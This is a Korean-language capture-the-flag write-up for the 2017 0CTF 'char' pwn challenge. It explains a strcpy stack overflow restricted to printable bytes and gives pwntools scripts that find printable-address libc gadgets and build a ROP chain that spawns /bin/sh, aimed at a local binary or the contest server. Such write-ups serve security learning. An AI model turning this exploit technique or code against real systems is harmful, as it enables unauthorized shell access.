2017 0CTF char
by St1tchprob
category : pwn
score : 130
Challenge
strcpy로 원하는 문자열을 충분히 복사를 할 수 있고, canary가 없기 때문에 바로 원하는 값들을 스택에 덮을 수 있다.
대신 입력받은 값들을 검증을 하는데 printable한 값들만 입력을 할 수 있다.
mmap을 통해서 적당히 printable한 주소부분에 라이브러리를 올려놓기 때문에, 그 부분에서 printable한 가젯들을 이용해서 쉘을 실행시킬 수 있었다.
Find printable addr
printalbe한 주소에 있는 함수들, 값, rop가젯들을 따로 뽑아서 시간을 좀 절약했다. 원샷가젯 비슷한 걸 찾아서 함수의 주소들은 필요가 없었다.
from pwn import * #ROPgadget --binary libc.so > rop context.log_level = 'warn' libc = ELF('libc.so') offset = 0x5555e000 check = lambda x : all([32 <= int(i.encode('hex'), 16) <= 126 for i in hex(x)[2:].decode('hex')]) def func(): out = '' for k in libc.symbols.keys(): if check(offset+libc.symbols[k]): out += k + '\n' open('function_list', 'wb').write(out) def find_value(target): for idx in list(libc.search(target)): if check(offset+idx): print 'find!', hex(offset+idx) break def find_gadget(): dat = open('rop', 'rb').read().split('\n')[2:-4] d = '' for tmp in dat: idx = eval(tmp.split()[0]) if check(offset+idx): d += tmp+'\n' open('gadget_list', 'wb').write(d) if __name__ == '__main__': func() ret = '\xc3' #find_value(ret) find_gadget()
Exploit
from pwn import * offset = 0x5555e000 execvpe = 0xb8f34 fake_ebp = 0x55616760 ret = 0x55563844 addeax = 0xc7352 def solver() : pay = 'a'*32 pay += p32(offset+addeax) pay += 'abcd'*3 #ebx, esi, edi pay += p32(fake_ebp)#ebp pay += p32(offset+execvpe) pay += 'x' * (0x108-len(pay)) pay += '/bin/sh' s.sendline(pay) s.interactive() if __name__ == '__main__' : context.log_level = 'warn' if len(sys.argv)==1: s = process('./char') print util.proc.pidof(s) pause() else : s = remote('202.120.7.214', 23222) solver()
Result

블로그의 정보
튜기's blogg(st1tch)
St1tch